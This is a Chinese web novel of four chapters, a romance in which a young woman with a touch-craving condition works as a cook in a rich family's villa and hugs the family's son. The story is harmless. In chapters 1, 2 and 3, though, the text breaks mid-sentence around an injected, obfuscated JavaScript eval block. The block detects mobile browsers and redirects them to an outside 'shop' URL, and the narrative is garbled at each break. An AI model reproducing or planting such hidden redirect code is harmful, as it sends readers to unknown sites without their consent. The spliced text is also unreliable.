《拥抱饥渴症》 1. 第 1 章 东砂/文 晋江文学城独家发表 2026.01.03 ----------------------- 六月的燕都,刚下过一场骤雨。 湿漉漉的青石板路面蒸腾着暑气,空气沉甸甸地压着,酝酿着下一场不知何时会来的雷暴。 姜弥拖着旧行李箱,撑一把透明雨伞,站在别墅雕花铁门外。 刚要上前去按门铃—— 墙头便毫无预兆地跃下一个人影。 黑色连帽衫,牛仔裤。 白球鞋踩进墙根骤雨初歇的水洼里,“啪”一声,泥水溅上鞋面,也湿了裤脚。 对方抬手扯下帽子,甩了甩湿得微缕的额发,露出一双狭长的眼。 内眼角微微下勾,眼尾弧度上翘。 瞥见门外的姜弥,他蓦地顿住。 雨后的阳光挣扎着从云层挤出,湿气弥漫。 两人隔着蒸腾的水雾对视了几秒。 空气粘腻而安静。 少年大概十七八岁,个高腿长,薄唇,鼻梁高挺,轮廓分明。 “新来的?”他开口,嗓音浸了潮气,低哑中透出些许懒散。 目光从她洗白的帆布鞋掠过,停在她低垂的眉眼上,勾了勾嘴角。 “我二妈这次倒是‘别出心裁’。”他顿了顿,尾音拖长,带着漫不经心的嘲弄,“怎么,之前的戏路走不通,现在换‘青春可怜’的路线了?” 姜弥攥紧伞柄,指关节抵着塑料杆,泛起青白。 没应声,垂眼拉着箱子从他身旁绕过,按响门铃。 身后传来少年打电话的声音,带着不耐烦: “周屿,让你家司机直接开进来,后门……废话,走正门让我二妈逮个正着?” 她循声回头。 少年并没有走远,停在几步外。 一道天光破云斜照,倾泻在那丛被雨水洗得发亮的紫叶李,以及他周身蒸腾的、细密的水汽上。 万千颗细小的水珠在光中悬浮、闪耀,化为飞舞的金尘。 姜弥无端地想起初中物理课本上的名词—— 丁达尔效应。 光的形状,是一道潮湿而辉煌的甬道。 姜弥就这么看着,站在没被光照到的灰扑扑的屋檐下。 少年被包裹在这片朦胧而圣洁的光晕里,微微侧着脸,下颌线条又冷又利落。 整个人挺拔得像一株逆光而生的植物,亮得晃眼,又有点不真实。 直到引擎声由远及近,他才不紧不慢地抬脚,走向路边停下的车。 就在他拉开车门钻进后座的刹那—— 云层合拢,遮蔽了阳光。 好像刚才那阵光,就是专门为了让他亮个相。 演完了,幕就落了。 —— 开门的是管家陈叔,五十来岁,头发梳得一丝不苟,西装挺括。 他的目光在姜弥身上停顿两秒,“姜小姐?请跟我来。” 别墅里冷气开得很足,一进门,暑气就被隔绝在外。 姜弥忍不住打了个寒颤,浑身生出一种骤然踏入另一个世界的不适感。 她被引到一楼会客厅。 挑高的大厅,水晶吊灯璀璨晃眼,墙上挂着看不懂的油画。 空气里有种淡淡的花香,像是百合,又混着别的什么。 沙发主位上坐着个女人,水蓝色云锦旗袍,颈间一串珍珠,墨色卷发慵懒垂在腰间。 正是纪太太林薇。 “坐吧。”林薇打量她几眼,语气温和,“听王妈说,你的厨艺和你妈妈不分伯仲?” 姜弥在对面沙发落座:“不分伯仲不敢当,能模仿个五六分而已。” 姜弥的妈妈许晴在纪家做保姆,主要负责少爷的一日三餐,已经有些年头了。 一个月前,许晴在买菜途中被一辆摩托车撞倒,右臂骨折,医生叮嘱需静养至少半年。 在老家修养时,雇主林薇打来电话,语气满是惋惜和头疼:“许姐,你这一走,淮野连饭都不肯好好吃,老毛病又犯了,真是让人操心。” 恰巧当时,在纪家做工的王妈前来探望,王妈尝了姜弥做的菜,连连称奇。 回去后,她将此事说给林薇听,这才有了姜弥替母亲来帮佣的提议。 得知姜弥已满十八周岁,林薇提出可以签订劳务合同,与许晴同工同酬。 姜弥是单亲家庭,父亲早逝,母女俩相依为命,全赖妈妈一双手挣钱支撑。 眼下她养伤没有收入,正是需要钱的时候。 可她毕竟还是学生,下半年就升高三,孰轻孰重,稍一掂量便见分晓。 林薇得知她的拒绝理由,直接说可以帮她转学到燕都一中,并解决在燕都的高考资格。 这个条件,姜弥无法拒绝。 毕竟谁都知道,在燕都参加高考,就等于半只脚已经踏进了名校的门槛。 “你今年……确实满十八了?”林薇再次确认。 这是必要的程序,避免用工风险。 “是的,太太,上个月刚过的生日。”姜弥声音清晰。 “可听说你才上高二?” “小时候身体弱,大病过一场,休学了一年。”她答得简短。 又问了几句基本情况后,林薇点了点头,算是初步认可。 “想必王妈已经和你说过具体要做哪些事了?”她端起白瓷茶杯,杯沿在唇边略停了停。 “是的,太太。”姜弥有条不紊地答,“少爷现在上高二,白天都在学校吃。我只需要准备他出门前的早餐,晚上回来的夜宵,外加周末和寒暑假时段的午餐和晚餐。” 这些细节,来之前都已通过电话沟通确认过。 “少爷嘴刁,晚上这顿饭,你尤其要多花点心思。”林薇放下茶杯,指尖在杯沿上轻轻一叩,“王妈虽然对你赞不绝口,但说到底,合不合少爷的口味,还得他自己说了算。” 她说到这里,淡淡朝旁边一瞥。 侍立在侧的王妈立刻会意,上前一步,脸上堆起惯常的和气笑容: “太太放心,姜姑娘一看就是细心人。姜姑娘,我先带你安顿下来,行李重,我帮你提。” 林薇不再说话,只略一抬手示意。 王妈便引着姜弥退出客厅,走向一楼走廊深处。 —— “太太交代过了,一楼朝南那间客房先收拾出来给姑娘住。不过……”她顿了顿,“等许姐原先住的那间保姆房重新装修完,恐怕还得挪回去住,那间离厨房近,也方便些。” 话说得客气周全,意思却明白: 这不是你的房间,只是暂住。 姜弥的手指攥紧了箱子的提手:“谢谢王姨。” 王妈交代了几句注意事项就离开了,走到门口,她停下,掏出一张便笺递过来。 “这是晚上要给少爷准备的菜单,你安顿好后稍微歇歇,就可以开始准备了。少爷一般七点用餐。” “好的,我记下了。”姜弥接过,轻声应道。 王妈走后,姜弥关上门,背靠着门板,缓缓舒出一口气。 房间在一楼走廊尽头,一张单人床、一个衣柜和一张书桌,再无多余家具。 但窗户朝南,此时雨歇,天光透进来,映着窗外一丛湿漉漉的竹子,倒也清静。 她将行李箱里的东西一件件取出。 几套换洗衣物,几本习题册和笔记本,一个边缘磨损的笔袋,还有一个六十多公分高的奶白色绵羊娃娃。 东西少得可怜,很快便归置完毕。 姜弥在书桌前坐下休息,拿起王妈给的便笺展开,上面写着四道菜名: 翡翠虾仁,黑椒牛柳,松茸鸡汤,文思豆腐。 前三道菜中规中矩,不算难题。 但最后这道文思豆腐羹,要将一块嫩豆腐切成数千根细如发丝的豆腐丝,是淮扬菜里出了名的考验刀工与心性的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026083|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫菜。 来之前,林薇说得清楚: 试工三天。 若能让少爷点头满意,便会即刻着手办理转学手续。 若不能,她就只能拖着那个旧箱子,回到岚山那个小县城去。 姜弥看着那道名菜,心里一片澄明。 天下没有免费的午餐。 所有看似命运的馈赠,早已在背后标好了价码。 她摇摇头,不再多想。 起身去厨房,打算先熟悉一下环境,不打无准备的仗。 —— 厨房极大,中西分设。 各种高级厨具铮亮地悬挂着,光洁如新。 冰箱里食材琳琅满目,分门别类,贴着小标签。 熟悉一圈后,姜弥系上围裙,在宽敞的厨房里忙碌。 食材都是顶好的,虾仁剔透,牛肉鲜嫩,松茸香气清冽。 她处理得仔细,动作虽不如妈妈娴熟,但也干净利落。 最后,她的目光落在那盒洁白如玉的嫩豆腐上。 取出,浸在清水中。 她换了一把刃口极薄而锋利的片刀,在指尖掂了掂分量。 深吸一口气,摒除杂念。 刀锋落下,根根细丝在水中缓缓散开。 …… —— 饭菜将好时,门外传来引擎声,由远及近,在车库前戛然而止。 姜弥将最后一道汤小心盛入白瓷盅里,盖上盖子保温。 刚洗净手,就听见客厅里传来脚步声,伴随着一个略显不耐的、清冷的男声: “说了在外面吃,非要我回来。” “你胃不好,外面油重。”林薇的声音温和似水,“今天新来了人,试试合不合口味。” “下午门口那个?看着可不像能掌勺的。”那声音近了,毫不掩饰自己的嫌弃。 姜弥装聋作哑,解下围裙,深吸一口气,端着托盘走了出去。 餐厅里灯光明亮,长桌边只有两个人。 林薇坐在主位,而那位纪少爷——也就是下午见过的少年,正懒散地靠在大理石桌旁,低垂着眼,手指在手机屏幕滑动得飞快。 “少爷,太太,可以用餐了。”姜弥将菜一道道摆上桌。 少年这才抬起头。 目光掠过菜肴,在那盏盛在白瓷碗中的文思豆腐羹上停留一秒,最后落在她脸上。 他脸上没什么表情,眼中带着戒备和居高临下的审视。 “好了,别吓着人,先吃饭。”林薇适时开口。 纪淮野收回视线,随手拉开椅子坐下。 他拿起汤匙,舀了一勺,送入口中。 林薇也跟着尝了一口,抬眼看他:“怎么样?” 纪淮野没说话。 他吃得很慢,每一口都像是在鉴赏。 尝过几口汤,又试了虾仁、牛柳。 餐厅一时只剩下寂静。 姜弥垂眼静立在旁,余光观察着两人用餐的细节。 两人不疾不徐,吃饭都是极安静的,就算是筷子碰到碗碟也几乎没有什么声音。 尤其是纪淮野,坐姿端正,吃得慢条斯理,举手投足尽显良好的教养与优雅从容。 挑挑拣拣间,就着三菜一汤,他吃下了大半碗米饭,这才搁下筷子,拿起餐巾拭了拭嘴角,然后才终于开口说话。 “虾仁的甜鲜欠些火候。豆腐丝断了几根,汤汁的清澈度也一般。” 姜弥一听,心直往下坠。 东家不满意。 自己那只即将跨进名校的脚,恐怕得收回来了。 “不过,”他身子往后一靠,椅背发出轻微的声响,“舌头不会骗人。饭,能吃。” 姜弥悬在半空的脚,一时不知该落还是该收。 林薇嘴角刚浮起笑意,却听他话音一转: “但许姨的位置,谁也替不了。二妈,你说呢?” 说罢,也不等回答,便起身离了席。 2. 第 2 章 纪淮野起身时,椅子腿刮过大理石地面,发出短促的锐响。 他径直走向餐厅门口,颀长的背影很快消失在旋转楼梯的拐角。 空气凝滞了几秒。 姜弥站在原地,手指蜷进掌心。 那句“谁也替不了”还在耳边回响,字字如刀,带着主人漫不经心和不容置疑。 莫名的屈辱感涌上来,但心底又同时生出一丝欣慰。 至少她知道,妈妈在这里是被真切需要和记挂着的。 虽然这份“记挂”,此刻正成为她最大的阻碍。 “哎~”一声轻叹打破了沉默。 林薇以指尖抵着太阳穴,露出习以为常的无奈神情。 她拿起餐巾,慢条斯理地擦了擦嘴角。 “收拾了吧。”她对王妈吩咐道,目光这才转向姜弥。 “淮野的话,别往心里去。”林薇开口,语气像是安抚,“听说他从小就这样,念旧,轴。许姐照顾他多年,感情自然不一般。” 姜弥垂下眼睫:“我明白,太太。” “明白就好。”林薇站起身,“你的手艺,他算是认了‘能吃’。这开头,不算坏。” 这算安慰吗?姜弥想。 用“能吃”来形容她竭尽全力、甚至赌上未来的这顿饭。 “接下来两天,再多费心些。”林薇走到她身侧,声音压低了些,“在这个家里,想让淮野点头不容易,但让他厌恶,一句话就够了。你是个聪明孩子,知道该怎么做。” 留下这句意味深长的话,林薇也款款离去。 偌大的餐厅,顿时只剩姜弥和王妈,以及桌上空了大半的碗碟。 王妈这才凑过来,手脚麻利地开始收拾,一边压低声音对姜弥说: “姜姑娘,别丧气。少爷肯吃这么多,已经是破天荒了!这阵子太太找来试工的,他都是筷子碰两下就扔一边。‘能吃’从他嘴里说出来,顶别人夸一百句‘好吃’呢!” 姜弥勉强弯了弯唇角:“谢谢王妈。” —— 收拾完厨房,已是晚上八点多。 姜弥打算先把明天中午要用的食材准备出来。 她从冷藏室取出上好的牛里脊,逆着纹理切成均匀的薄片,用黑胡椒、橄榄油和少许红酒腌上,覆上保鲜膜。 做这些的时候,她的思绪不由自主地飘向楼上。 那个叫纪淮野的少年,此刻在做什么?打游戏?还是像其他富家子弟一样,有着她无法想象的夜生活? 下午他翻墙出去,是去做什么?那个叫“周屿”的人,是他的朋友吗? 还有他口中的“二妈”——纪太太林薇,看上去很年轻,是他的继母?他们关系不和吗? 这个大胆猜测让姜弥心里微微一动。 但很快,她便掐灭了这点无谓的好奇。 别人的家事,与她何干。 她来这里,目的明确——做好饭,留下来,考上大学。 其他的,都是不该踏足的禁区。 —— 一切准备妥当,姜弥回到房间。 洗完澡出来时,书桌上的手机屏幕亮了一下,是母亲发来的信息: 「弥弥,一切还顺利吗?」 姜弥看到妈妈的消息,心头一暖。 她快速打字回复: 「放心,妈。一切都好,纪太太很和善,少爷也挺好的。刚忙完,准备看书了。你胳膊别用力,记得按时吃药。」 放下手机,她翻开带来的习题册。 虽说纪太太承诺只要通过试工,就会给她办理好转学和高考资格事宜。 但有个大前提是,她要通过燕都一中的转学生测试。 为此,纪太太还托人给她找了往年的试题作参考。 题目不算太难,但想拿高分也不简单,有些提升题甚至是她在老家从未接触过的深度。 她静下心,一道题一道题地啃,草稿纸上写满了演算过程。 物理题,力学,光滑斜面,匀速运动。 公式和数字是冰冷的,也是公正的,只要代入正确,就能得到一个确定的答案。 不像这里,一切都没有公式可循。 …… 正当她对一道空间向量题反复验算,都得不出最终的答案时,她忍不住想要去抓手臂上的皮肤。 是的,那种感觉又来了。 皮肤开始发痒,若有若无的空虚躁动。 不强烈,像隔着厚厚的棉絮在挠痒,在皮肤深处,在血液里,蠢蠢欲动。 她用力握紧了笔。 不能想。 不能去碰。 皮肤饥渴症。 医生说是心理生理综合症,无药可医。 第一次出现这种情况,是在爸爸去世的那年夏天。 起初只是轻微的刺痒,像细针轻轻扎。她没在意,以为是淋了雨不舒服。 但很快,那感觉变了。 变成一种深层次的、骨髓里的空虚,像是整个身体被掏空了,只剩下一层薄薄的皮,皮下有无数蚂蚁在爬。 爸爸去世后,家里少了主心骨,餐馆经营不下去。 为了生计,妈妈经人介绍,离开老家来到燕都做保姆。 妈妈刚离开那段时间,姜弥的皮肤饥渴症比先前更严重。 寄宿在外婆家,外婆年迈体衰,她不想给老人家添麻烦,于是这些年便一个人默默捱着。 姜弥咬紧嘴唇,起身来到床边,拿起床头的小羊娃娃。 奶白色的小羊,大约有六十公分高。 她把它紧紧抱在怀里,整个人蜷缩起来。 细软的绒毛摩擦着皮肤,带来些许安抚。 但不够。 远远不够。 她需要真实的、温热的、属于人类的体温和触感。 焦躁和空虚感越来越强烈,像潮水一样涌上来,酥痒蚀骨,几乎要将她淹没。 姜弥咬住下唇,指甲深深掐进掌心,用疼痛来缓解。 就在这时,敲门声响起。 “姜小姐?”是陈叔的声音,“少爷说想喝热牛奶,厨房有食材,麻烦你做一下。” 姜弥猛地睁开眼,平稳呼吸后才回答:“……好,马上来。” 她深吸几口气,对着镜子整理好表情,拉开门。 —— 厨房在走廊另一头。 姜弥找到牛奶,倒进小锅里,开小火慢慢煮。 楼上的电视声隐约传来,混合着雨点敲打玻璃的声响。 燕都不比岚山,骤雨来得迅疾又暴烈,噼里啪啦的。 牛奶开始冒泡,奶香弥漫。 姜弥盯着锅里翻滚的白色液体,手指无意识地摩挲着料理台冰凉的边缘。 皮肤下的空虚感不仅没有消退,反而越来越强烈。 她死死咬住后槽牙,攥紧手,指甲深深掐进掌心。 可是没有用,空虚感已经吞没了她,视野开始模糊,耳边嗡嗡作响…… “还没好?” 身后突然传来声音,把她拉回现实。 姜弥手一抖,勺子掉进锅里,溅起几滴滚烫的牛奶,落在她手背上。 她倒抽一口冷气。 纪淮野不知何时站在了厨房门口。 灰色家居服松松垮垮地套在身上,头发半干,凌乱地搭在额前。 他靠在门框上,双手插兜,视线落在她烫红的手背上。 “笨手笨脚的。”他说,语气听不出是关心还是嘲讽。 姜弥没接话,低头关火,把牛奶倒进玻璃杯里。 递过去时,手指还在轻微颤抖。 纪淮野没接,目光从她的手移到她脸上。 “你怕我?”他问。 “……没有。” “手在抖。” 姜弥用力握紧杯子,试图止住颤抖:“可能是有点冷。” 纪淮野看了她两秒,忽然往前走了两步。 厨房空间大,但他一靠近,瞬间变得逼仄。 姜弥下意识往后退,脊背抵住了料理台。 沐浴露的淡香,混着少年身上干净的冷香气。 皮肤下的每一个细胞都在尖叫,渴望着触碰,渴望着拥抱。 理智仅存的那根弦绷到极致。 纪淮野伸手,越过她臂侧,从她旁边的架子上拿了一盒糖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026084|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他撕开包装,往牛奶里丢了两颗方糖,用勺子慢悠悠地搅了搅。 “我不喝纯牛奶,”他说,“太腥。” 然后,他终于接过杯子,仰头喝了一口。 喉结滚动,奶渍沾了一点在唇边。 姜弥死死盯着那点白色,呼吸越来越乱。 “还有事吗?”见她一直盯着自己,纪淮野问。 她垂下视线,紧咬着牙没开口。 “没有的话,我要上楼了。”他继续说。 但人没动。 姜弥希望他赶快走,于是说:“……没有了。” 纪淮野点点头,转身往外走。 就在他跨出厨房门的瞬间—— 姜弥终于忍耐到极限,几乎是凭着本能扑过去,从背后紧紧抱住了他。 纪淮野整个人僵住。 牛奶杯脱手,掉在地上,“哗啦”一声脆响,玻璃碎片和乳白色的液体溅了一地。 时间仿佛静止。 姜弥的脸颊贴在他温热的背脊上,手臂紧紧环着他的腰。 空虚感像退潮般迅速消散,取而代之的是一种让她感到眩晕的满足。 她感觉自己像是搁浅在岸的鱼,在即将死去的前一秒重新回到了水里。 “……松手。”纪淮野的声音很低,带着明显的僵硬。 姜弥没动,反而抱得更紧。 “我叫你松手!”他提高了音量,直接去掰她的手臂。 可姜弥像藤蔓一样缠着他,声音带着破碎的哭腔: “对不起……真的对不起……就一会儿,求你了……” 纪淮野的动作顿住。 她在颤抖,持续不断的颤抖。 呼吸急促地喷在他的背上,温热又潮湿。 她的手臂纤细,却十分用力,仿佛要箍进他的身体里一样。 一种陌生而微妙,以前从未有过的感觉涌上心脏。 比起厌恶,更像是别的什么。 痒痒的,麻麻的,像是触电一样的感觉。 他沉默了几秒,反手扣住她的手腕,用力一扯,将她从背后拽到身前。 姜弥踉跄一步,跌进他怀里。 鼻子撞上坚硬的胸膛,酸涩发疼,像针扎。 四目相对。 厨房的灯光白得刺眼,照得她脸色惨白,眼眶通红,睫毛上还沾着泪珠。 她仰着脸看他,嘴唇微微张着,像是想说什么,又发不出声音,可怜的很。 纪淮野的喉结滚了滚。 “你到底想做什么?”他问,声音哑得厉害。 姜弥没回答,只是伸手,小心翼翼地碰了碰他的手臂。 指尖滚烫,触到他温凉如玉的皮肤时,两个人都颤了一下。 然后,她整个人又贴上来,额头抵着他的肩膀,手臂重新环住他的腰。 “……抱抱我,”她小声说,像在乞求,“对不起,就一会儿,一会好不好?” 纪淮野背脊瞬间绷紧。 推开的念头、质问的冲动、那些“又是二妈的安排吗”的猜疑,全都在她单薄的颤抖面前卡在了喉咙里。 他手臂抬起,在空中停滞了两秒,最后还是落下,很轻地、带着点不知所措的僵硬,拍了拍她的背。 “行了,”他别过脸,耳根有点红,“抱就抱,别哭哭啼啼的。” 姜弥没说话,只是往他怀里又钻了钻。 窗外,雨还在下。 厨房里一片狼藉,牛奶的甜香气息,弥漫在空气中。 很久以后,纪淮野才听见自己闷闷的声音: “喂。” “……嗯?” “你叫什么名字?” “姜弥。” “怎么写?” “生姜的姜,弥合的弥。” 纪淮野低低“哦”了一声。 他刚想报出自己的名字,怀里的温暖却陡然一空。 她猛地推开他,几乎是弹开的,低着头,声音急促: “对不起、对不起!” 匆匆说完,便从他身旁飞快地掠过,逃也似的跑走了。 哒哒的脚步声,在空旷的走廊里仓皇远去。 3. 第 3 章 纪淮野愣在原地,眼睫低垂,看向自己空空虚拢的手掌。 掌心残留的温度和气息还未散去。 刚才……到底发生了什么? 那女人怎么回事? 前一秒还眼神闪躲,怕他会吃了她似的。 下一秒又忽然扑过来,用带着哭腔的声音,向他这个雇主家的少爷,索要拥抱。 纪淮野的思绪不受控制地飘回下午。 雕花铁门外,骤雨初歇。 她撑着一把透明雨伞,伞下的脸白皙素净,未施粉黛,一双眼睛乌溜溜的,像浸在清水里的黑曜石。 被他那样夹枪带棒地讥诮,她也不反抗,只是垂着眼,拉着那个旧箱子从他身旁走过,安静温软,好像没什么脾气。 就像一只被独自抛到陌生街角的小猫。 看起来小小的,瘦伶伶的,没什么威胁,反而努力降低自己的存在感,透出一点让人心软的可怜。 所以,刚才那个颤抖的拥抱,也是因为这种“可怜”吗? 因为初来乍到,因为他说了刻薄话,因为绷紧的弦终于断了,才突然情绪崩溃? 想起之前那些熬不过三天就走的保姆,纪淮野烦躁地抓了把头发。 他真有那么刻薄吗? 说到底,难道不是那些人自己心术不正,被发现后心理承受力太差? “生姜的姜,弥合的弥……” 他无意识地低声重复了一遍这个名字。 弥合?弥合什么? 这名字听着就硌耳朵,有种强求圆满、不合时宜的意味。 就像她这个人一样,低眉顺眼地站在那里,看似驯服,骨子里却藏着某种叛逆。 竟敢在试工期就投怀送抱,好的不学,学着走这种捷径。 不过,他也理解这种心态。 出身普通的女孩子,仗着自己有几分姿色,遇到条件优渥的对象,难免会动些心思,想趁机鱼跃龙门,这太常见了。 窗外雨势渐大,噼里啪啦敲打着玻璃,也打断了他的思绪。 厨房里的狼藉还摊在那里,牛奶的甜香开始变得沉闷。 他弯腰,面无表情地拾起几片较大的玻璃碎片,指尖沾上黏腻的液体。 算了。 他直起身,将碎片扔进垃圾桶。 一个莫名其妙、情绪不稳的“替代品”罢了。 过不了三天,大概就会和之前那些人一样,带着或难堪或解脱的神情,从这里消失。 他这么想着,从兜里摸出手机,垂眼划开屏幕,点了两下。 片刻后,圆头圆脑的扫地机器人安静地滑进厨房,开始嗡嗡地舔舐那片狼藉。 —— 姜弥一路跑回房间,胸腔里那颗心脏像是要挣脱出来,在肋骨间横冲直撞。 过了好一会儿,那阵令人失重的眩晕才稍稍退潮。 她双腿一软,沿着冰凉的门板缓缓滑坐在地上,额头抵着膝盖,蜷成一团。 来之前,妈妈拉着她的手,忧心忡忡地反复叮嘱: “纪家那位少爷,模样是顶好的,又和你年纪差不多,你小姑娘家,一时看花了眼、生出些不该有的念头也正常。可你得记住,人家是天上的云,咱们是地上的泥,中间隔着看不见的万丈悬崖。” “去了那儿,要守住本分,只埋头做事,千万别抬头看,更别伸手去够……那只会惹祸上身,摔得自己一身泥不说,还断了前程。” 妈妈的担忧言犹在耳,可她刚才做了什么? 她竟然……扑上去,抱住了他。 那一瞬间,身体深处那难以忍受的空虚与焦躁,像无数蚂蚁细细啃咬着骨髓,本能骤然冲垮了所有摇摇欲坠的理智。 她只想抓住一点什么,一点真实的、温暖的、能将她从溺毙感里拖出来的东西。 他的胸膛,他的体温,他无措却最终落下的温柔安抚…… 那短暂的几秒,像是解药,像甘霖落进龟裂的焦土,让她获得了前所未有的愉悦与解脱。 可这药效太强,让她清醒的太快。 理智回笼,无边的懊悔与恐慌如潮水般回涌。 他会不会觉得……她是个不知廉耻、蓄意攀高枝的拜金女? 急于用身体换前程? 胃部猛地痉挛了一下,强烈的恶心感涌上喉头。 如果真是这样,根本不用等三天试工结束。 或许明天,或许就在今晚,纪夫人知道这件事的那一刻,她就会被毫不留情地扫地出门。 光是想象那个场景:鄙夷的目光,刻薄的言辞,拖着旧箱子狼狈的骤雨里……就足以让她屈辱到浑身发冷。 为什么? 为什么偏偏是她得这种病? 为什么偏偏是这个时候发作? 明明只差一点。 一点点的忍耐,一点点的谨慎,她就能抓住那张通往燕都高考、通往另一种人生的船票。 光明就在咫尺之遥。 现在,全被这该死的、可恨的、无法言说的“病”毁了。 可是,想到他最后落在背上那两下,很轻,带着生疏的僵硬,却又没有立刻推开。 心底最深处,生出一丝微弱的妄念:也许……他不会说出去? 这个念头刚冒出来,就被她自己狠狠掐灭。 她凭什么指望一个陌生人的善意? 尤其还是与她有着云泥之别,被她这团泥巴唐突冒犯了的“少爷”。 而且他刚才特意问了自己的名字,明显就是为了方便告状。 她怎么就那么傻,问什么就答什么。 来到燕都的第一夜,姜弥在冰冷的后怕与滚烫的羞耻中辗转反侧,一夜无眠。 —— 清晨六点,姜弥顶着微肿的眼睛出现在厨房。 心脏在胸腔里敲着闷鼓,手上动作却不敢停。 煎蛋、清粥、几样小菜,都是母亲笔记里的“少爷惯常口味”。 七点整,旋转楼梯传来脚步声。 姜弥的心跳漏了一拍,抬眼望去。 下来的却不是纪淮野,而是纪太太林薇。 她这才恍然想起,今日是周日。 姜弥将备好的早餐仔细摆上桌,林薇执起白瓷勺,舀了一口粥,含笑开口:“少爷周末爱睡懒觉,不必准备他的早饭。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026085|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,语气温和地提醒,“也千万别去打扰。那孩子,起床气可不小。” “是,太太。”姜弥垂首应道。 悬着的心往下沉了沉。 看林薇的态度,纪淮野应该还没有向她提及昨夜的事。 早餐后,王妈带着姜弥熟悉别墅各处的布置。 来到二楼时,旋转楼梯上方传来响动。 纪淮野从三楼下来。 他穿着浅灰色家居服,头发有点乱,像是刚睡醒。 手里拿着依云水,边走边喝,喉结随着吞咽的动作上下滚动。 看到楼下的人,他脚步顿了顿,目光扫过来。 姜弥下意识地绷直了背脊,眼帘低垂,视线落在光洁的大理石地面上,不敢与他对视。 王妈打招呼:“少爷。” 纪淮野“嗯”了一声,从她们身边走过,带起一阵很淡的冷香气。 姜弥说不出来那是什么味道,就好像是雪后初霁,进入到一片松叶林,干净而清冽。 他走到客厅落地窗边的沙发上坐下,拿起遥控器打开了电视。 NBA比赛的解说声瞬间充斥了整个空间。 王妈低声对姜弥说:“少爷下午一般周末在家,你尽量别上楼打扰。” “知道了。”姜弥轻声应。 姜弥跟着王妈穿过大厅,走向通往一楼的楼梯。 下台阶时,她没忍住回头看了一眼。 少年窝在沙发里,长腿搭在茶几上,专注地看着比赛。 阳光透过落地窗洒在他身上,给他整个人镀了层毛茸茸的金边。 忽然间,他偏了下头,视线恰好和她撞上。 姜弥立刻转回头,加快脚步下楼。 —— “差不多就是这些了。” 王妈在一楼走廊尽头停下,简单交代几句,便转身去忙自己的事了。 等王妈的脚步声消失在走廊转角,姜弥才背靠着冰凉的墙壁,呼出一直屏着的那口气。 掌心全是冷汗。 刚才那一眼是什么意思? 是警告,还是无意? 她反复回想他当时的表情——好像没什么表情,又好像带着点她看不懂的审视。 她走到水池边,拧开水龙头,用冷水狠狠冲了冲脸。 冰凉的水珠顺着下巴滴落,稍微压下了脸颊不正常的烫。 不能这样。她对自己说。 如果连自己都先慌了阵脚,那就真的什么都完了。 姜弥深吸一口气,走到中岛台旁,拉开高脚椅坐下,强迫自己看妈妈交给她的那本菜单大全。 手指抚过妈妈娟秀的字迹,那些熟悉的菜名和备注像是有温度,让她狂跳的心稍微定了定。 妈妈就是靠着这一手本事,在这里站稳了脚跟。 同样作为外婆的传人,她也可以。 她必须可以。 只是…… 昨晚那件事像根刺,时不时就扎她一下—— 纪淮野到底什么时候会告诉林薇? “姜弥。” 清冷的声音从厨房门口传来,打断了她翻来覆去的思绪。 4. 第 4 章 听到有人唤自己的名字,姜弥转过头。 纪淮野换了件黑色的T恤,同色长裤,闲散地倚在门框边。 他本就面容偏冷,眉眼深邃,一身墨色衬得身形愈发修长挺拔,清冷锐利,不避锋芒。 “我饿了。”他说。 墙上的钟指向十点四十。 离午饭还早。 “有吐司和牛奶,”姜弥从高脚椅上下来,垂下眼睛,“您看……可以吗?” 纪淮野没有应声。 他直起身,不紧不慢地迈开步子。 软底拖鞋踏在光洁的瓷砖上,发出闷闷的声响。 越来越近。 姜弥无意识地退后,小腿肚抵住冰凉的冰箱门。 凉意透过薄薄的棉布裤子渗进来,让她倏然想起昨晚的场景。 他在她面前停下。 身高差让她不得不仰起脸。 “你是来给我做饭的吧?”纪淮野垂下眼睑,瞳仁在灯光下呈现出很浅的琥珀色。 “煮碗面。” 命令式的语气,不容置疑。 姜弥屏着呼吸:“……好。” 她转身去开冰箱。 西红柿、鸡蛋、挂面。 她把食材一样样拿出来。 纪淮野就靠在旁边的中岛台上看着她。 水开了,蒸汽顶起锅盖,噗噗作响。 姜弥把面条下进去,又在平底锅里热油,磕入鸡蛋。 油星细碎地溅开,发出噼啪声。 整个过程里,她都能清晰地感觉到身后那道视线。 沉甸甸地落在她身上。 就像是在盯着十恶不赦的犯人一样。 姜弥被盯得脊背僵硬,四肢也逐渐不听使唤。 她去拿盐罐时,指尖忽然一软。 白陶的罐子从手中滑脱,直直往下坠—— 一只手从旁边斜伸过来,在半空截住了它。 纪淮野的手很大,指节分明,手指修长。 